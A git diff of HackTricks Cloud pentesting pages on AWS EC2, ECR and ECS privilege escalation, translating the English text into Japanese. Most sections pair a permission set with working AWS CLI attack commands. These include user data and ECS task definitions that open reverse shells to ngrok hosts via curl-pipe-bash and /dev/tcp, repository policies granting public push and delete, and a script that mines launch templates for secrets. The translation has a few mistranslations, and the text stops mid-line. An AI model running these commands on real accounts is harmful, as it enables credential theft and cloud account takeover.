+注意：インスタンスの外でIAMロールの資格情報を使用する場合、GuradDutyに注意してください。 {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles. +**潜在的な影響：** 既存のインスタンスプロファイルに添付された任意のEC2ロールへの直接的な権限昇格。 -#### Privesc to ECS - -With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +#### ECSへの権限昇格 +この権限セットを使用すると、**EC2インスタンスを作成し、それをECSクラスター内に登録**することもできます。この方法で、ECS **サービス**は、アクセス権のある**EC2インスタンス**内で**実行**され、そのサービス（Dockerコンテナ）に侵入し、**添付されたECSロールを盗む**ことができます。 ```bash aws ec2 run-instances \ - --image-id ami-07fde2ae86109a2af \ - --instance-type t2.micro \ - --iam-instance-profile \ - --count 1 --key-name pwned \ - --user-data "file:///tmp/asd.sh" +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access @@ -64,22 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` - -To learn how to **force ECS services to be run** in this new EC2 instance check: +新しいEC2インスタンスで**ECSサービスを強制的に実行する方法**を学ぶには、次を確認してください： {{#ref}} aws-ecs-privesc.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +**新しいインスタンスを作成できない**が、`ecs:RegisterContainerInstance`の権限がある場合、クラスタ内にインスタンスを登録し、コメントされた攻撃を実行できるかもしれません。 -**Potential Impact:** Direct privesc to ECS roles attached to tasks. +**潜在的な影響：** タスクに付随するECSロールへの直接的な権限昇格。 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. - +前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**し、新しい認証情報を盗むことができます。\ +インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**（一般的なケース）場合、**`iam:RemoveRoleFromInstanceProfile`**も必要になります。 ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます（`iam:CreateInstanceProfile`）、**そのロールをそのインスタンスプロファイルに追加**し（前述の通り）、**インスタンスプロファイルを侵害されたインスタンスに関連付ける**ことができます： -If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** - -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* - +- もしインスタンスが**インスタンスプロファイルを持っていない**場合（`ec2:AssociateIamInstanceProfile`）\* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**潜在的影響:** 別のEC2ロールへの直接的な権限昇格（AWS EC2インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります）。 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. - -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +これらの権限を持つことで、インスタンスに関連付けられたインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、関連付けられたインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。 +- **インスタンスプロファイルがある場合、** インスタンスプロファイルを**削除**することができ（`ec2:DisassociateIamInstanceProfile`）、**関連付ける**ことができます \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* - +- または、侵害されたインスタンスの**インスタンスプロファイル**を**置き換える**（`ec2:ReplaceIamInstanceProfileAssociation`）。\* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格（AWS EC2インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります）。 ### `ec2:RequestSpotInstances`,`iam:PassRole` -An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ -Once the instance is run, he can **steal the IAM role**. - +**`ec2:RequestSpotInstances`および`iam:PassRole`**の権限を持つ攻撃者は、**EC2ロールが付与された** **Spot Instance**を**リクエスト**し、**ユーザーデータ**に**rev shell**を含めることができます。\ +インスタンスが実行されると、彼は**IAMロールを盗む**ことができます。 ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ - --instance-count 1 \ - --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` - ### `ec2:ModifyInstanceAttribute` -An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**. - -Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**. +**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更する**ことができ、これによりインスタンスが**任意のデータを実行する**ことが可能になります。これを利用して**EC2インスタンスへのrev shellを取得**することができます。 +属性は**インスタンスが停止している間のみ**変更できるため、**`ec2:StopInstances`** と **`ec2:StartInstances`** の**権限**が必要です。 ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ - --instance-id="$INSTANCE_ID" \ - --attribute userData \ - --value file://$TEXT_PATH +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` - -**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance. +**潜在的影響:** 作成されたインスタンスに付与された任意のEC2 IAMロールへの直接的な権限昇格。 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. - +**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**rev shell**を含む**新しいLaunch Templateバージョン**を作成し、デフォルトバージョンを変更し、その**Launch Template**を使用する**任意のAutoscalerグループ**が**最新**または**デフォルトバージョン**を使用するように構成されている場合、**そのテンプレートを使用してインスタンスを再実行**し、**rev shell**を実行します。 ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ - --launch-template-name bad_template \ - --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ - --launch-template-name bad_template \ - --default-version 2 +--launch-template-name bad_template \ +--default-version 2 ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格。 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**. - +**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAMロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAMロール**を**盗む**のを待つことができます。 ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ - --launch-configuration-name bad_config \ - --image-id ami-0c1bc246476a5572b \ - --instance-type t3.micro \ - --iam-instance-profile EC2-CloudWatch-Agent-Role \ - --user-data "$REV" +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ - --auto-scaling-group-name bad_auto \ - --min-size 1 --max-size 1 \ - --launch-configuration-name bad_config \ - --desired-capacity 1 \ - --vpc-zone-identifier "subnet-e282f9b8" +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格。 ### `!autoscaling` -The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). +権限のセット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** は、IAMロールへの権限を昇格させるには不十分です。なぜなら、Launch ConfigurationまたはLaunch Templateで指定されたロールをアタッチするには **`iam:PassRole` と `ec2:RunInstances` の権限が必要だからです**（これは知られている権限昇格です）。 ### `ec2-instance-connect:SendSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges. - +**`ec2-instance-connect:SendSSHPublicKey`** の権限を持つ攻撃者は、ユーザーにsshキーを追加し、それを使用してアクセスすることができます（インスタンスへのsshアクセスがある場合）または権限を昇格させることができます。 ```bash aws ec2-instance-connect send-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --instance-os-user "ec2-user" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances. +**潜在的な影響:** 実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**. - -In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** の権限を持つ攻撃者は、**シリアル接続にsshキーを追加する**ことができます。シリアルが有効でない場合、攻撃者はそれを有効にするために**`ec2:EnableSerialConsoleAccess`** の権限が必要です。 +シリアルポートに接続するためには、**マシン内のユーザーのユーザー名とパスワードを知っている必要があります。** ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --serial-port 0 \ - --region "eu-west-1" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特にプライベートエスカレーションにはあまり役立ちません。 -This way isn't that useful to privesc as you need to know a username and password to exploit it. - -**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. +**潜在的な影響:** （非常に証明が難しい）実行中のインスタンスに付随するEC2 IAMロールへの直接的なプライベートエスカレーション。 ### `describe-launch-templates`,`describe-launch-template-versions` -Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates: - +起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用する可能性があります。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします： ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do - echo "[*] Analyzing $i" - aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata - do - echo "VersionNumber: $version" - echo "$userdata" | base64 -d - echo - done | grep -iE "aws_|password|token|api" +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" done ``` +上記のコマンドでは、特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために異なる正規表現を使用することもできます。 -In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. +`aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの資格情報を使用してAWSに認証できます。 -Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. +**潜在的な影響:** IAMユーザーへの直接的な権限昇格。 -**Potential Impact:** Direct privilege escalation to IAM user(s). - -## References +## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index fd4686edb..b9a32815f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,21 +6,21 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images. +**`ecr:GetAuthorizationToken`** と **`ecr:BatchGetImage`** の権限を持つ攻撃者は、ECRにログインして画像をダウンロードできます。 -For more info on how to download images: +画像のダウンロード方法についての詳細は： {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**潜在的な影響:** トラフィック内の機密情報を傍受することによる間接的な権限昇格。 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used. +これらすべての権限を持つ攻撃者は **ECRにログインして画像をアップロードできます**。これは、これらの画像が使用されている他の環境に権限を昇格させるのに役立ちます。 -To learn how to upload a new image/update one, check: +新しい画像をアップロード/更新する方法については、次を確認してください： {{#ref}} ../aws-services/aws-eks-enum.md @@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Like the previous section, but for public repositories. +前のセクションと同様ですが、公開リポジトリ用です。 ### `ecr:SetRepositoryPolicy` -An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\ -For example, in this example read access is given to everyone. - +この権限を持つ攻撃者は **リポジトリ** **ポリシー** を **変更** して、自分自身（または全員）に **読み取り/書き込みアクセス** を付与することができます。\ +例えば、この例では全員に読み取りアクセスが付与されています。 ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - -Contents of `my-policy.json`: - +`my-policy.json`の内容： ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "allow public pull", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - ### `ecr-public:SetRepositoryPolicy` -Like the previoous section, but for public repositories.\ -An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges. - +前のセクションと同様ですが、パブリックリポジトリ用です。\ +攻撃者はECRパブリックリポジトリの**リポジトリポリシーを変更**して、不正なパブリックアクセスを付与したり、権限を昇格させたりすることができます。 ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "MaliciousPublicRepoPolicy", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr-public:GetDownloadUrlForLayer", - "ecr-public:BatchGetImage", - "ecr-public:BatchCheckLayerAvailability", - "ecr-public:PutImage", - "ecr-public:InitiateLayerUpload", - "ecr-public:UploadLayerPart", - "ecr-public:CompleteLayerUpload", - "ecr-public:DeleteRepositoryPolicy" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` - -**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images. +**潜在的な影響**: ECRパブリックリポジトリへの不正な公開アクセスにより、任意のユーザーがイメージをプッシュ、プル、または削除できるようになります。 ### `ecr:PutRegistryPolicy` -An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**. - +この権限を持つ攻撃者は、**レジストリポリシー**を**変更**して、自分自身、彼のアカウント（または全員）に**読み書きアクセス**を付与することができます。 ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 4988270ab..d0573849e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +ECSに関する**詳細情報**は以下を参照してください： {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,185 +12,173 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**. - +`iam:PassRole`、`ecs:RegisterTaskDefinition`、および `ecs:RunTask` の権限を悪用する攻撃者は、**メタデータ認証情報を盗む** **悪意のあるコンテナ**を持つ**新しいタスク定義を生成**し、**実行する**ことができます。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to a different ECS role. +**潜在的な影響:** 異なるECSロールへの直接的な権限昇格。 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\ -However, in this case, a container instance to run the malicious task definition need to be. - +前の例と同様に、攻撃者がECSの**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**権限を悪用することで、**悪意のあるコンテナ**を持つ**新しいタスク定義**を**生成**し、それを**実行**することができます。\ +ただし、この場合、悪意のあるタスク定義を実行するためのコンテナインスタンスが必要です。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ - --container-instances +--container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to any ECS role. +**潜在的な影響:** どのECSロールへの直接的な権限昇格。 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.** - +前の例と同様に、攻撃者がECSの**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`**または**`ecs:CreateService`**の権限を悪用することで、**メタデータの認証情報を盗む悪意のあるコンテナ**を持つ**新しいタスク定義を生成**し、**少なくとも1つのタスクが実行されている新しいサービスを作成することで実行**できます。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn "$ECS_ROLE_ARN" \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ - --task-definition iam_exfiltration \ - --desired-count 1 \ - --cluster "$CLUSTER_ARN" \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ - --service \ - --task-definition +--service \ +--task-definition ``` - -**Potential Impact:** Direct privesc to any ECS role. +**潜在的な影響:** どのECSロールにも直接的な権限昇格。 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like: - +実際、これらの権限だけで、オーバーライドを使用して任意のロールでコンテナ内で任意のコマンドを実行することが可能です。 ```bash aws ecs run-task \ - --task-definition "" \ - --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ - --cluster \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` - -**Potential Impact:** Direct privesc to any ECS role. +**潜在的な影響:** 